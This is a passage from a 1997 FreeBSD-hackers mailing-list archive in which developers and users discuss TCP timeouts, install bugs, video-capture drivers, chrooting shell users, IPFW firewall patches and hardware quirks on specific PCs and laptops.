From owner-freebsd-hackers Sun May 25 01:24:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA14976 for hackers-outgoing; Sun, 25 May 1997 01:24:17 -0700 (PDT) Received: from tao.sinanet.com.tw ([203.75.92.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA14966 for ; Sun, 25 May 1997 01:24:01 -0700 (PDT) Received: (from ywliu@localhost) by tao.sinanet.com.tw (8.8.5/8.8.3) id QAA13473 for hackers@freebsd.org; Sun, 25 May 1997 16:24:29 +0800 (CST) From: Hoffmann Yen-Wei Liu Message-Id: <199705250824.QAA13473@tao.sinanet.com.tw> Subject: How to specify FIN_WAIT_2 timeout value ? To: hackers@freebsd.org Date: Sun, 25 May 1997 16:24:29 +0800 (CST) Reply-To: ywliu@sinanet.com X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, It is said I can specify the timeout value of FIN_WAIT_2 in FreeBSD. I have a lot of probably dead FIN_WAIT_2 connections on my 2.2.1 PC. Can anybody tell me how to do this ? Yen-Wei Liu From owner-freebsd-hackers Sun May 25 01:31:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA15229 for hackers-outgoing; Sun, 25 May 1997 01:31:58 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.2.144.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA15216 for ; Sun, 25 May 1997 01:31:55 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id SAA15545; Sun, 25 May 1997 18:31:35 +1000 (EST) Date: Sun, 25 May 1997 18:31:34 +1000 (EST) From: "Daniel O'Callaghan" To: Jaye Mathisen cc: hackers@FreeBSD.ORG Subject: Re: Minor 2.2.2 install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 24 May 1997, Jaye Mathisen wrote: > /etc/login.conf isn't installed in a minimal install. That has been fixed already. I went to fix it, but someone beat me to it :-) Danny From owner-freebsd-hackers Sun May 25 05:40:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA21283 for hackers-outgoing; Sun, 25 May 1997 05:40:38 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA21242; Sun, 25 May 1997 05:40:09 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.7.6/8.7.3) id OAA02704; Sun, 25 May 1997 14:39:51 +0200 (MET DST) Date: Sun, 25 May 1997 14:39:51 +0200 (MET DST) Message-Id: <199705251239.OAA02704@bitbox.follo.net> From: Eivind Eklund To: "Jordan K. Hubbard" CC: perhaps@yes.no, jkh@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, cvs-release@FreeBSD.ORG, hackers@FreeBSD.ORG In-reply-to: "Jordan K. Hubbard"'s message of Sat, 24 May 1997 04:34:16 -0700 Subject: Re: cvs commit: src/release boot_crunch.conf References: <199705241110.NAA09999@bitbox.follo.net> <3865.864473656@time.cdrom.com> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [please delete committers etc if you reply to this - this belong in hackers] > Well, I was mostly just trying to get the SNAPshot servers happy again... > > As to making it a compile-time option.. Hmmm. I like the idea of > saving space, but it would also complicate the build to have two > versions of ppp build at release time. What we really need is a > dynamically loadable alias module. :-) It shouldn't be too hard to use libalias through dlopen()/dlsym(), should it? I've never used these interfaces, but the aliasing routines need only about three calls to work. Eivind. From owner-freebsd-hackers Sun May 25 11:57:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA03835 for hackers-outgoing; Sun, 25 May 1997 11:57:48 -0700 (PDT) Received: from gnostic.cynic.net (gnostic.cynic.net [198.73.220.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA03822 for ; Sun, 25 May 1997 11:57:45 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by gnostic.cynic.net (8.8.5/8.6.12) with SMTP id LAA00725; Sun, 25 May 1997 11:57:02 -0700 (PDT) X-Authentication-Warning: gnostic.cynic.net: cjs owned process doing -bs Date: Sun, 25 May 1997 11:57:01 -0700 (PDT) From: Curt Sampson X-Sender: cjs@gnostic.cynic.net To: Don Yuniskis cc: Narvi , freebsd-hackers@freefall.FreeBSD.org Subject: Re: diskless hardware *design* suggestions In-Reply-To: <199705241946.MAA03270@seagull.rtd.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 24 May 1997, Don Yuniskis wrote: > (sigh) I am *so* tired of folks claiming that XYZ won't work with > fast ethernet! That was the excuse given for the lack of ISA boards, etc. At least one exists: the 3Com 3c515. cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. `And malt does more than Milton can Vancouver, BC (604) 257-9400 To justify God's ways to man.' From owner-freebsd-hackers Sun May 25 12:53:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA06327 for hackers-outgoing; Sun, 25 May 1997 12:53:19 -0700 (PDT) Received: from wakko.efn.org (wakko.efn.org [198.68.17.6]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA06321 for ; Sun, 25 May 1997 12:53:17 -0700 (PDT) Received: from garcia.efn.org (deke@garcia.efn.org [198.68.17.5]) by wakko.efn.org (8.8.5/8.8.5) with SMTP id MAA13609 for ; Sun, 25 May 1997 12:52:24 -0700 (PDT) Date: Sun, 25 May 1997 13:00:59 -0700 (PDT) From: Deke Swallen To: hackers@FreeBSD.ORG Subject: CDROM drive. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have an 8X Creatibe labs CD-ROM drive. I'm trying to set it up with FreeBSD 2.2.1-RELEASE. I'm able to setup the PnP IDE card it's setup to. But not CD-ROM DRIVE. I don't know the address and flags for it. What can I do to find the information about it? Any ideas. Hope you can help. :) -Deke From owner-freebsd-hackers Sun May 25 14:26:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA09850 for hackers-outgoing; Sun, 25 May 1997 14:26:48 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA09840; Sun, 25 May 1997 14:26:45 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.5/8.8.5) with ESMTP id OAA00516; Sun, 25 May 1997 14:26:33 -0700 (PDT) Message-Id: <199705252126.OAA00516@rah.star-gate.com> X-Mailer: exmh version 1.6.9 8/22/96 To: Luigi Rizzo cc: van@ee.lbl.gov, multimedia@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: about vic In-reply-to: Your message of "Sun, 25 May 1997 22:19:16 +0200." <199705252019.WAA13405@labinfo.iet.unipi.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 25 May 1997 14:26:33 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >From The Desk Of Luigi Rizzo : > > Amancio, > > > > the vic h261 encoder code, like the precept h261 encoder, will > > embed a 320x240 ntsc image in a 352x288 cif rectangle so > > decoders see no change. Almost all the vic grabbers work this > ... > > rather than YUV_422. The combination of this change & the > > single field grab now means the stock meteor works reliably even > > with the broken Natoma PCI chips on Intel's Pentium-Pro > > I think the conclusion of various investigations was that it was > the Philips 7116 (the PCI interface on the meteor), not the Natoma, > which caused problems. We are not sure about that mostly due to Intel and Matrox never explaining the real cause of the problem. I just CC hackers and hopefully one of the Intel CPU or PCI designers will shed some light into this problem. My educated is that Intel is not going to tell us what is the real problem. On the lighter side of things, Philips is supposed to have a new chipset, SAA 7146, which is not supposed to have this nasty dma bug or incur the nasty dma bug in the Natoma chipset. > > motherboards. The grabber was also changed to remove two extra > > memory-memory copies of each frame so it sped up more than a > > speaking of performance, since the Bt848 chip (for which Amancio has > written a driver) is highly programmable, is there a preferred output > format for the grabber to supply data ready for the encoder without > need for copies (or does YUV_PACKED already suffice ?) > We should be able to provide whatever format vic wants and also prepare the buffer to whatever vic wants to eliminate copying buffers altogether. What I am thinking about doing is providing a ring buffers such that when vic wants a buffer all I should do is provide the buffer pointer to the new buffer thus eliminating all buffers on the side of the video grabber. The next stage in way of performance improvement could be to provide MMX support and to provide support to dump YUV on the X server. The latter is a bit more difficult given that it requires X server modifications however many popular cards now days do provide yuv to rgb conversion. And the last phase will be to provide a mechanism to activate WC combining for PCI display card's linear frame buffer which can speed up display rates by a 400 percent or so. For those interested in trying out Van's grabber-meteor.cc and own a Bt848 based card, please download : ftp://rah.star-gate.com/pub/bt848.tar.gz The driver includes Van's grabber-meteor.cc with some slight modifications to detect both a meteor and a Bt848 based card. Enjoy, Amancio From owner-freebsd-hackers Sun May 25 14:50:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA10915 for hackers-outgoing; Sun, 25 May 1997 14:50:59 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA10909 for ; Sun, 25 May 1997 14:50:56 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.5/8.7.3) with SMTP id OAA16450 for ; Sun, 25 May 1997 14:50:55 -0700 (PDT) Date: Sun, 25 May 1997 14:50:55 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: Correct way to chroot for shell account users? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Anybody got any tips on how to write a secure shell to exec on login to set a users environment to the "right thing". (I don't mean a rsh type secure shell, but rather a good secure thing to have in /etc/master.passwd that execs the real shell in a chroot'd environment.). Any code appreciated as well. Thanks. From owner-freebsd-hackers Sun May 25 17:20:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA17497 for hackers-outgoing; Sun, 25 May 1997 17:20:09 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA17492 for ; Sun, 25 May 1997 17:20:07 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.5/8.7.3) with SMTP id RAA03805 for ; Sun, 25 May 1997 17:20:03 -0700 (PDT) Date: Sun, 25 May 1997 17:20:02 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: Data modified on freelist? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm getting "Data modified on freelist: word 10 of object 0xf1bc1e00 size 196 previous type socket (0xf18b011c != 0xdeadc0de). deadcode certainly looks suspicious. This is on a newly upgraded 2.2.2 machine that had been running 2.2 from February flawlessly. de ethernet, buslogic scsi, P133, 128MB RAM. From owner-freebsd-hackers Sun May 25 18:00:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA19286 for hackers-outgoing; Sun, 25 May 1997 18:00:22 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA19280 for ; Sun, 25 May 1997 18:00:17 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA09343; Sun, 25 May 1997 17:55:21 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd009341; Mon May 26 00:55:12 1997 Date: Sun, 25 May 1997 17:54:35 -0700 (PDT) From: Julian Elischer To: Jaye Mathisen cc: hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk There are several people including myself who have hacked login to chroot before running the shell I even had a version that re-red the passwd file in the new chroot environ and re-read the parameters from there. It turns out to be a very simple hack. I can't give code at the moment though..I think I lost it.. julian On Sun, 25 May 1997, Jaye Mathisen wrote: > > > Anybody got any tips on how to write a secure shell to exec on login to > set a users environment to the "right thing". > > (I don't mean a rsh type secure shell, but rather a good secure thing > to have in /etc/master.passwd that execs the real shell in a chroot'd > environment.). > > Any code appreciated as well. Thanks. > > > > From owner-freebsd-hackers Sun May 25 18:43:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA20767 for hackers-outgoing; Sun, 25 May 1997 18:43:11 -0700 (PDT) Received: from freefall.freebsd.org (freefall.cdrom.com [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA20762 for ; Sun, 25 May 1997 18:43:09 -0700 (PDT) From: Julian Elischer Received: (from julian@localhost) by freefall.freebsd.org (8.8.5/8.8.5) id SAA25088 for hackers; Sun, 25 May 1997 18:42:42 -0700 (PDT) Date: Sun, 25 May 1997 18:42:42 -0700 (PDT) Message-Id: <199705260142.SAA25088@freefall.freebsd.org> To: hackers@FreeBSD.ORG Subject: New IPFW code Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk WHistle has extended (dramatically) the ipfw code to give much greater functionality. I will be committing the changes to -current in the next week. changes can be fetched from: ref.tfs.com /incoming/IPFW.patches comments? julian (p.s. these are backwards compatibel at the command line level, so I would LOVE to add them to 2.2 if I can as we use this in a 2.2 based system) From owner-freebsd-hackers Sun May 25 18:54:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA21182 for hackers-outgoing; Sun, 25 May 1997 18:54:32 -0700 (PDT) Received: from freefall.freebsd.org (freefall.cdrom.com [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA21177; Sun, 25 May 1997 18:54:30 -0700 (PDT) From: Julian Elischer Received: (from julian@localhost) by freefall.freebsd.org (8.8.5/8.8.5) id SAA25110; Sun, 25 May 1997 18:54:03 -0700 (PDT) Date: Sun, 25 May 1997 18:54:03 -0700 (PDT) Message-Id: <199705260154.SAA25110@freefall.freebsd.org> To: current@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: OOPS bad URL given on patches.. Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk the URLS for the patches I would like to commit are: ftp://ref.tfs.com/incoming/IPFW.patches.tar and ftp://ref.tfs.com/incoming/NOUNLINK.tar sorry for the stuffup. this is a 'blind' incoming directory, so the files cannot be seen but can be fetched. julian From owner-freebsd-hackers Sun May 25 19:20:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA22331 for hackers-outgoing; Sun, 25 May 1997 19:20:20 -0700 (PDT) Received: from merix.merix.com (merix.merix.com [198.145.172.40]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA22233 for ; Sun, 25 May 1997 19:20:16 -0700 (PDT) Received: from sandy.merix.com by merix.merix.com with SMTP (1.38.110.45/16.2) id AA068253818; Sun, 25 May 1997 19:30:18 -0700 Received: by sandy.merix.com (4.1/8.0) id AA20834; Sun, 25 May 97 19:16:31 PDT Date: Sun, 25 May 97 19:16:31 PDT Subject: No reboot on HP Vectra XA 166 (MMX) To: freebsd-hackers@freebsd.org From: Troy Curtiss Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I recently installed FreeBSD 2.2.1R (from CD) on my HP Vectra XA 166 MMX machine here at work. Everything works beautifully (and fast, BTW!) except for reboots. From FreeBSD, the machine is impossible to reboot... er... I mean... FreeBSD does its reboot routine, and the screen goes black (and I can't drop down into the kernel debugger or etc..) and stays that way indefinitely. Win95 seems to tickle the right bits, as does Linux. I've played with the BIOS settings dealing with everything, to no avail. I assume FreeBSD is just using the ol' keyboard controller reboot (with a fallback to a triple-fault or something...), so I'm a little baffled. Anybody else out there seen this behavior?? It really sucks when I wedge the machine remotely :( (BTW... the 'wedges' I speak of seem to have the same inode-free but not really problem that Thomas David Rivers speaks of periodically) Thanks, -Troy -- /-----------------------------------------------------------\ | Troy Curtiss, HW/SW Engineer | Email: troyc@merix.com | | Merix Corporation, CL-302 | Phone: (970) 203-6643 | | Loveland, CO 80537 | Fax : (970) 203-6610 | \-----------------------------------------------------------/ From owner-freebsd-hackers Sun May 25 19:56:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA23424 for hackers-outgoing; Sun, 25 May 1997 19:56:19 -0700 (PDT) Received: from calvary.pascal.org ([207.21.96.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA23419 for ; Sun, 25 May 1997 19:56:17 -0700 (PDT) Received: from nomad.pascal.org (nomad [207.21.96.7]) by calvary.pascal.org (8.8.5/8.8.5) with ESMTP id TAA05186; Sun, 25 May 1997 19:55:01 -0700 (PDT) Message-ID: <3388FAD8.2E611D9@compute.com> Date: Sun, 25 May 1997 19:52:09 -0700 From: "Freeman P. Pascal IV" Organization: Compute Intensive, Inc X-Mailer: Mozilla 4.0b3C (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: FreeBSD-Hackers@FreeBSD.org CC: pascal@compute.com Subject: Toshiba Satellite Pro 415CS and serial ports... X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hello, I recently installed 2.2.1-RELEASE on a Toshiba Satellite Pro 415CS. Everything worked fine (including the builtin mouse and keyboard which has been reported as a problem in the past), with the exception of the serial ports. I've verified that com1 and com2 are configured, but they are NOT seen during boot time. These serial ports were operational under Win95. I've searched the mailing list archive and the bug list, but haven't found anything useful. Has anyone else experienced this problem, and is there a fix? I'm not on the list, please reply via email - thanks. -Freeman From owner-freebsd-hackers Sun May 25 20:08:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA23796 for hackers-outgoing; Sun, 25 May 1997 20:08:09 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id UAA23789 for ; Sun, 25 May 1997 20:08:06 -0700 (PDT) Received: from unalmodem.usc.unal.edu.co by ingenieria (SMI-8.6/SMI-SVR4) id WAA27723; Sun, 25 May 1997 22:54:37 -0400 Message-ID: <338919C7.F30@fps.biblos.unal.edu.co> Date: Sun, 25 May 1997 22:04:07 -0700 From: "Pedro F. Giffuni" Organization: Universidad Nacional de Colombia X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Experience with Network Computers ? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk (I'm not really sure where this should go, redirect it as necessary) Howdy, I've been wondering about those NCs that everyone is talking about. It is said they don't come with an OS, and that you need a server. Could this server be a FreeBSD box? How do they load the OS, bootp or an unstandard service? TIA, Pedro. From owner-freebsd-hackers Sun May 25 20:31:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA24416 for hackers-outgoing; Sun, 25 May 1997 20:31:44 -0700 (PDT) Received: from spinner.dialix.com.au (spinner.dialix.com.au [192.203.228.67]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA24409; Sun, 25 May 1997 20:31:03 -0700 (PDT) Received: from spinner.dialix.com.au (localhost.dialix.com.au [127.0.0.1]) by spinner.dialix.com.au with ESMTP id LAA00670; Mon, 26 May 1997 11:29:22 +0800 (WST) Message-Id: <199705260329.LAA00670@spinner.dialix.com.au> X-Mailer: exmh version 2.0gamma 1/27/96 To: Eivind Eklund cc: "Jordan K. Hubbard" , jkh@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, cvs-release@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: cvs commit: src/release boot_crunch.conf In-reply-to: Your message of "Sun, 25 May 1997 14:39:51 +0200." <199705251239.OAA02704@bitbox.follo.net> Date: Mon, 26 May 1997 11:29:21 +0800 From: Peter Wemm Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Eivind Eklund wrote: > > [please delete committers etc if you reply to this - this belong in hackers] > > > Well, I was mostly just trying to get the SNAPshot servers happy again... > > > > As to making it a compile-time option.. Hmmm. I like the idea of > > saving space, but it would also complicate the build to have two > > versions of ppp build at release time. What we really need is a > > dynamically loadable alias module. :-) > > It shouldn't be too hard to use libalias through dlopen()/dlsym(), > should it? I've never used these interfaces, but the aliasing > routines need only about three calls to work. For dlopen/dlclose/etc to work, it requires that the calling executable is dynamically linked, linked with libc.so.xx and that /usr/libexec/ld.so is present. A dynamic libc is important since if libalias makes any libc calls (memcpy, strcmp, etc) then the symbols have to be dynamically resolveable. For sysinstall on the boot floppy, this is probably a showstopper. However, at runtime on an installed system, there's probably not much stopping /usr/bin/ppp from doing this. > Eivind. Cheers, -Peter From owner-freebsd-hackers Sun May 25 20:44:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA24891 for hackers-outgoing; Sun, 25 May 1997 20:44:11 -0700 (PDT) Received: from tor-adm1.nbc.netcom.ca (taob@tor-adm1.nbc.netcom.ca [207.181.89.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA24886; Sun, 25 May 1997 20:44:05 -0700 (PDT) Received: from localhost (taob@localhost) by tor-adm1.nbc.netcom.ca (8.8.5/8.8.5) with SMTP id XAA03064; Sun, 25 May 1997 23:43:54 -0400 (EDT) Date: Sun, 25 May 1997 23:43:54 -0400 (EDT) From: Brian Tao To: Julian Elischer cc: hackers@FreeBSD.ORG Subject: Re: New IPFW code In-Reply-To: <199705260142.SAA25088@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 25 May 1997, Julian Elischer wrote: > > WHistle has extended (dramatically) the ipfw code to give much > greater functionality. Very cool. Is this what is in production use for the Interjet? > I will be committing the changes to -current in the next week. > changes can be fetched from: > ref.tfs.com /incoming/IPFW.patches The file does not seem to be there: ref:/> cd /incoming ref:/incoming> ls -l ref:/incoming> get IPFW.patches IPFW.patches: No such file OR directory. ref:/incoming> cd .. ref:/> ls -l total 12 d--x--x--x 2 0 10 512 Nov 15 1996 bin/ d--x--x--x 2 0 10 512 Nov 15 1996 etc/ drwxrwx-wx 2 0 11 1024 May 26 01:47 incoming/ drwxrwxr-x 2 0 0 512 Jun 16 1996 pub/ d--x--x--x 2 0 11 512 Nov 15 1996 tfs/ d--x--x--x 2 0 10 512 Nov 15 1996 usr/ ref:/> -- Brian Tao (BT300, taob@netcom.ca) "Though this be madness, yet there is method in't" From owner-freebsd-hackers Sun May 25 20:52:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA25209 for hackers-outgoing; Sun, 25 May 1997 20:52:18 -0700 (PDT) Received: from fang.cs.sunyit.edu (perlsta@fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA25204 for ; Sun, 25 May 1997 20:52:16 -0700 (PDT) Received: from localhost (perlsta@localhost) by fang.cs.sunyit.edu (8.7.6/8.7.3) with SMTP id XAA07024; Sun, 25 May 1997 23:52:26 -0400 (EDT) Date: Sun, 25 May 1997 23:52:26 -0400 (EDT) From: Alfred Perlstein To: "Freeman P. Pascal IV" cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Toshiba Satellite Pro 415CS and serial ports... In-Reply-To: <3388FAD8.2E611D9@compute.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'd look in the win 95 control panel under system to see what resources the com port are on, then set the ports up in freebsd in the kernel config. > I recently installed 2.2.1-RELEASE on a Toshiba Satellite Pro 415CS. > Everything > worked fine (including the builtin mouse and keyboard which has been > reported > as a problem in the past), with the exception of the serial ports. > > I've verified that com1 and com2 are configured, but they are NOT seen > during > boot time. These serial ports were operational under Win95. > > I've searched the mailing list archive and the bug list, but haven't > found > anything useful. > > Has anyone else experienced this problem, and is there a fix? > > I'm not on the list, please reply via email - thanks. > > -Freeman > From owner-freebsd-hackers Sun May 25 20:59:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA25606 for hackers-outgoing; Sun, 25 May 1997 20:59:14 -0700 (PDT) Received: from fang.cs.sunyit.edu (perlsta@fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA25597 for ; Sun, 25 May 1997 20:59:06 -0700 (PDT) Received: from localhost (perlsta@localhost) by fang.cs.sunyit.edu (8.7.6/8.7.3) with SMTP id XAA07038; Sun, 25 May 1997 23:59:06 -0400 (EDT) Date: Sun, 25 May 1997 23:59:06 -0400 (EDT) From: Alfred Perlstein To: "Pedro F. Giffuni" cc: hackers@FreeBSD.ORG Subject: Re: Experience with Network Computers ? In-Reply-To: <338919C7.F30@fps.biblos.unal.edu.co> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I've been wondering about those NCs that everyone is talking about. It > is said they don't come with an OS, and that you need a server. Could > this server be a FreeBSD box? How do they load the OS, bootp or an > unstandard service? They come with a lot of rom, or a small disk that is responcible for starting things up possibly they will down load the OS after initializing the NIC or it will all be in ROM. I don't trust NCs unless they are used by untrained computer users as the limitations imposed on them to regular users is too much, on the other hand they would keep inexperianced people from fubar'ing everything. Alfred Perlstein perlsta@cs.sunyit.edu From owner-freebsd-hackers Sun May 25 22:07:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA28777 for hackers-outgoing; Sun, 25 May 1997 22:07:37 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA28770 for ; Sun, 25 May 1997 22:07:31 -0700 (PDT) Received: from unalmodem.usc.unal.edu.co by ingenieria (SMI-8.6/SMI-SVR4) id AAA27924; Mon, 26 May 1997 00:53:51 -0400 Message-ID: <338935E0.224E@fps.biblos.unal.edu.co> Date: Mon, 26 May 1997 00:04:00 -0700 From: "Pedro F. Giffuni" Organization: Universidad Nacional de Colombia X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: Jaye Mathisen CC: hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye Mathisen wrote: > > Anybody got any tips on how to write a secure shell to exec on login to > set a users environment to the "right thing". > I had to open some public accounts some time ago. While on SCO and AIX I had the restricted shell (Rsh), but it wasn't very useful: I used it for a suspected cracker and he also broke it :-). My answer to the problem is to define an innocent program in /etc/shells and use it instead of the shell. You can build a custom lynx (with lot's of restrictions) or use gopher as a shell. Code for a restricted shell, and some "secure" utilities used to be in the gopher and W3C distribution sites, JIC someone was brave enough to use them > > Any code appreciated as well. Thanks. From owner-freebsd-hackers Sun May 25 22:15:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA29133 for hackers-outgoing; Sun, 25 May 1997 22:15:14 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA29124; Sun, 25 May 1997 22:15:10 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id WAA15825; Sun, 25 May 1997 22:14:15 -0700 (PDT) To: Peter Wemm cc: Eivind Eklund , jkh@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, cvs-release@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: cvs commit: src/release boot_crunch.conf In-reply-to: Your message of "Mon, 26 May 1997 11:29:21 +0800." <199705260329.LAA00670@spinner.dialix.com.au> Date: Sun, 25 May 1997 22:14:15 -0700 Message-ID: <15821.864623655@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > For dlopen/dlclose/etc to work, it requires that the calling executable is > dynamically linked, linked with libc.so.xx and that 